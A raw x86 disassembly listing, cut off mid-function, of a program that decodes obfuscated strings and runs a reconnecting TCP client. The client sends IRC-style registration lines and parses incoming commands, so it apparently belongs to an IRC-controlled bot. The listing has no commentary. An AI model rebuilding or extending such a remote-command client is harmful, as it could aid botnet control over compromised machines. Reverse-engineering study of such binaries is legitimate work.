var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40F600
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_401E6A
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_4011B3
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_401424
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_401424
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_401749
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_401749
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_401749
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_401749
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_401749
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_401749
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_401749
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_401749
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_401749
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_401749
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_401749
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_401749
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_401749
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_401749
		lea	eax, [esp+3Ch+var_29]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_401721
		mov	dword ptr [edi], offset	off_43E034
		mov	bl, 11h
		xor	edi, edi
		push	offset byte_446F70
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	off_43E028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_4015D7
		call	near ptr 27D07EBh
		nop
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_4017E4
		push	eax
		push	offset dword_4470FC
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_4019B5
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_4017E4
		push	eax
		push	offset dword_447100
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_4017E4
		push	eax
		push	offset dword_447104
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_4019B5
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_4017E4
		push	eax
		push	offset dword_447108
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_4017E4
		push	eax
		push	offset dword_44710C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_4017E4
		push	eax
		push	offset dword_447110
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_4017E4
		push	eax
		push	offset dword_447114
		call	sub_401D02
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_4017E4
		push	eax
		push	offset dword_447118
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Dh
		push	2Dh
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_4017E4
		push	eax
		push	offset dword_44711C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_4017E4
		push	eax
		push	offset dword_447120
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_4017E4
		push	eax
		push	offset dword_447124
		call	sub_401D02
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401226
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_4017E4
		push	eax
		push	offset dword_447128
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_4017E4
		push	eax
		push	offset dword_44712C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_4017E4
		push	eax
		push	offset dword_447130
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_4017E4
		push	eax
		push	offset dword_447134
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_4017E4
		push	eax
		push	offset dword_447138
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]
		push	44h
		push	edx
		call	sub_4019B5
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_4017E4
		push	eax
		push	offset dword_44713C
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_4019B5
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_4017E4
		push	eax
		push	offset dword_447140
		call	sub_401D02
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_401226
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_40F600	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FD70	proc near		; CODE XREF: ___:004019C4j sub_401A3Cj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4013C0
sub_40FD70	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_40FD88
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40FD88:				; CODE XREF: ___:0040FD7Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40FDA0	proc near		; CODE XREF: sub_4013C0j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40FDA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43E028
		mov	dword ptr [esi+11h], offset off_43E034
		lea	ecx, [esi+2DAh]
		mov	[esp+14h+var_4], 10h
		call	sub_401B54
sub_40FDA0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401023
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401023
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_401023
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_401023
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401023
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_401023
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+10h], 9
		call	sub_401023
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+10h], 8
		call	sub_401023
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+10h], 7
		call	sub_401023
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+10h], 6
		call	sub_401023
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+10h], 5
		call	sub_401023
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+10h], 4
		call	sub_401023
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+10h], 3
		call	sub_401023
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+10h], 2
		call	sub_401023
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+28h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_402031
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40FF60	proc near		; CODE XREF: sub_40212Bj

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_1C		= byte ptr  20h
arg_1E		= word ptr  22h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_34		= byte ptr  38h
arg_4C		= byte ptr  50h
arg_64		= byte ptr  68h
arg_7C		= byte ptr  80h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= byte ptr  380h
arg_394		= byte ptr  398h
arg_3AC		= byte ptr  3B0h
arg_3C4		= byte ptr  3C8h
arg_3DC		= byte ptr  3E0h
arg_3F4		= byte ptr  3F8h
arg_408		= byte ptr  40Ch
arg_40C		= byte ptr  410h
arg_464		= byte ptr  468h
arg_2464	= dword	ptr  2468h
arg_246C	= dword	ptr  2470h
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	offset loc_4395D3
		push	eax
		mov	eax, 2478h
		mov	large fs:0, esp
		call	sub_436840
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_401424
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_411330


loc_40FFA2:				; CODE XREF: sub_40FF60+13CAj
		mov	al, byte_4E6E84
		mov	edi, dword_50F8A4
		cmp	al, bl
		jz	loc_411330
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_40FFCA
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_40FFD4
		cmp	eax, ebx
		jz	loc_41010E


loc_40FFCA:				; CODE XREF: sub_40FF60+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_41010E


loc_40FFD4:				; CODE XREF: sub_40FF60+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_40FFE9
		push	eax
		call	near ptr 71AB9639h
		nop


loc_40FFE9:				; CODE XREF: sub_40FF60+80j
		mov	ecx, offset word_448C9E
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_401537
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_401974
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_410019
		mov	[ebp+20h], ebx


loc_410019:				; CODE XREF: sub_40FF60+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	offset byte_44742D
		mov	ecx, offset word_448D16
		call	sub_401F32
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_40146A
		mov	eax, [eax]
		mov	ecx, offset word_448D16
		add	eax, 1B6h
		push	eax
		push	offset dword_4473E4
		call	sub_401F32
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_40146A
		mov	edx, [eax]
		mov	ecx, offset word_448D16
		push	edx
		push	offset dword_4472C0
		call	sub_401F32
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	offset word_447352
		mov	ecx, offset word_448D16
		call	sub_401F32
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_40146A
		mov	eax, [eax]
		mov	ecx, offset word_448D16
		add	eax, 0DBh
		push	eax
		push	offset byte_447309
		call	sub_401F32
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_40146A
		mov	edx, [eax]
		mov	ecx, offset word_448D16
		add	edx, 92h
		push	edx
		push	offset byte_44739B
		call	sub_401F32
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_40146A
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	offset byte_4474BF
		mov	ecx, offset word_448D16
		call	sub_401F32
		call	edi
		mov	[ebp+24h], eax


loc_41010E:				; CODE XREF: sub_40FF60+64j
					; sub_40FF60+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_410138
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		push	7D0h
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		nop
		call	near ptr 2821EEEh
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_410138:				; CODE XREF: sub_40FF60+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_4102C8
		mov	ax, word_44736C
		xor	edx, edx
		mov	[esp+20h+arg_20], edx
		push	eax
		mov	[esp+24h+arg_24], edx
		mov	word ptr [esp+24h+arg_20], 2
		mov	[esp+24h+arg_28], edx
		mov	[esp+24h+arg_2C], edx
		call	near ptr 71AB2B66h
		nop
		mov	ecx, offset byte_447309
		mov	[esp+24h+arg_1E], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		mov	[esp+24h+arg_20], eax
		call	edi
		mov	edx, [ebp+18h]
		lea	ecx, [esp+24h+arg_1C]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101B8
		push	2710h
		nop
		call	near ptr 2821EEEh
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4101B8:				; CODE XREF: sub_40FF60+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+30h+arg_0], eax
		lea	ecx, [esp+30h+arg_20]
		mov	[esp+30h+arg_4], eax
		lea	edx, [esp+30h+arg_0]
		mov	[esp+30h+arg_8], eax
		push	ecx
		mov	[esp+34h+arg_C], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+3Ch+arg_20], 10h
		call	near ptr 71AB951Eh
		nop
		mov	ecx, [esp+3Ch+var_4+3]
		mov	edx, [esp+3Ch+var_4+2]
		mov	eax, [esp+3Ch+var_4+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+40h+var_4]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+4Ch+arg_408]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	edx
		nop
		call	sub_5EFFD5
		add	esp, 18h
		lea	eax, [esp+3Ch+arg_408]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_4015D7
		lea	ecx, [esp+3Ch+arg_408]
		push	ecx
		nop
		call	near ptr 71AB2BF4h
		push	offset byte_446F70
		mov	ecx, offset byte_44739B
		mov	[ebp+52h], eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410287
		mov	ecx, offset byte_44739B
		call	sub_4017E4
		mov	edx, dword_44711C
		push	eax
		push	edx
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h


loc_410287:				; CODE XREF: sub_40FF60+305j
		mov	ecx, offset byte_4E6E85
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_4E6E85
		call	sub_4017E4
		push	eax
		mov	eax, dword_447124
		push	eax
		mov	ecx, offset byte_4E6E85
		call	sub_4017E4
		mov	ecx, dword_447120
		push	eax
		push	ecx
		push	offset aSSSS00S	; "%s %s\r\n%s %s 0 0 :%s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 1Ch
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4102C8:				; CODE XREF: sub_40FF60+1DBj
		mov	ecx, 800h
		xor	eax, eax
		lea	edi, [esp+20h+arg_464]
		push	ebx
		rep stosd
		lea	eax, [esp+24h+arg_464]
		push	2000h
		push	eax
		push	edx
		call	sub_401280
		add	esp, 10h
		cmp	al, bl
		jz	loc_411320
		nop
		call	near ptr 27D07EBh
		lea	ecx, [esp+20h+var_8]
		mov	[ebp+24h], eax
		call	sub_401CBC
		lea	ecx, [esp+20h+arg_464]
		push	ecx
		lea	ecx, [esp+24h+var_8]
		call	sub_401A87
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_364]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447128
		mov	byte ptr [esp+20h+arg_246C], 1
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4103A0
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_3F4]
		push	4
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset dword_4473E4
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 2
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+20h+arg_3F4]
		mov	byte ptr [esp+20h+arg_246C], 1
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_4103A4


loc_4103A0:				; CODE XREF: sub_40FF60+3EAj
		mov	[esp+20h+var_D], bl


loc_4103A4:				; CODE XREF: sub_40FF60+43Ej
		lea	ecx, [esp+20h+arg_364]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_4103C6
		mov	byte ptr [ebp+16h], 1
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4103C6:				; CODE XREF: sub_40FF60+45Bj
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_F4]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_4470FC
		mov	byte ptr [esp+20h+arg_246C], 3
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_F4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		push	1
		jz	short loc_410464
		lea	edx, [esp+28h+arg_2A4]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 4
		call	sub_4017E4
		push	eax
		mov	eax, dword_447118
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2A4]
		jmp	loc_410592
; ---------------------------------------------------------------------------


loc_410464:				; CODE XREF: sub_40FF60+4BAj
		lea	edx, [esp+28h+arg_124]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_4016AE
		mov	ecx, dword_447100
		mov	byte ptr [esp+20h+arg_246C], 5
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_124]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_443600 ; " "
		cmp	al, bl
		jz	loc_4105D0
		lea	edx, [esp+24h+arg_40C]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 6
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_40C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_411327
		push	offset asc_443600 ; " "
		lea	eax, [esp+24h+arg_154]
		push	11h
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447118
		mov	byte ptr [esp+20h+arg_246C], 7
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_154]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410597
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_2D4]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 8
		call	sub_4017E4
		push	eax
		mov	eax, dword_447118
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2D4]


loc_410592:				; CODE XREF: sub_40FF60+4FFj
		call	sub_401226


loc_410597:				; CODE XREF: sub_40FF60+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_411327
		mov	ecx, offset byte_44742D
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_4473E4
		call	sub_4017E4
		mov	ecx, dword_447104
		push	eax
		push	ecx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E0B
		add	esp, 14h
		jmp	loc_411327
; ---------------------------------------------------------------------------


loc_4105D0:				; CODE XREF: sub_40FF60+550j
		lea	edx, [esp+24h+arg_394]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_447138
		mov	byte ptr [esp+20h+arg_246C], 9
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410652
		push	offset asc_443600 ; " "
		lea	edx, [esp+24h+arg_184]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016AE
		mov	ecx, dword_44713C
		mov	byte ptr [esp+20h+arg_246C], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_184]
		mov	byte ptr [esp+20h+arg_246C], 9
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_410657


loc_410652:				; CODE XREF: sub_40FF60+69Bj
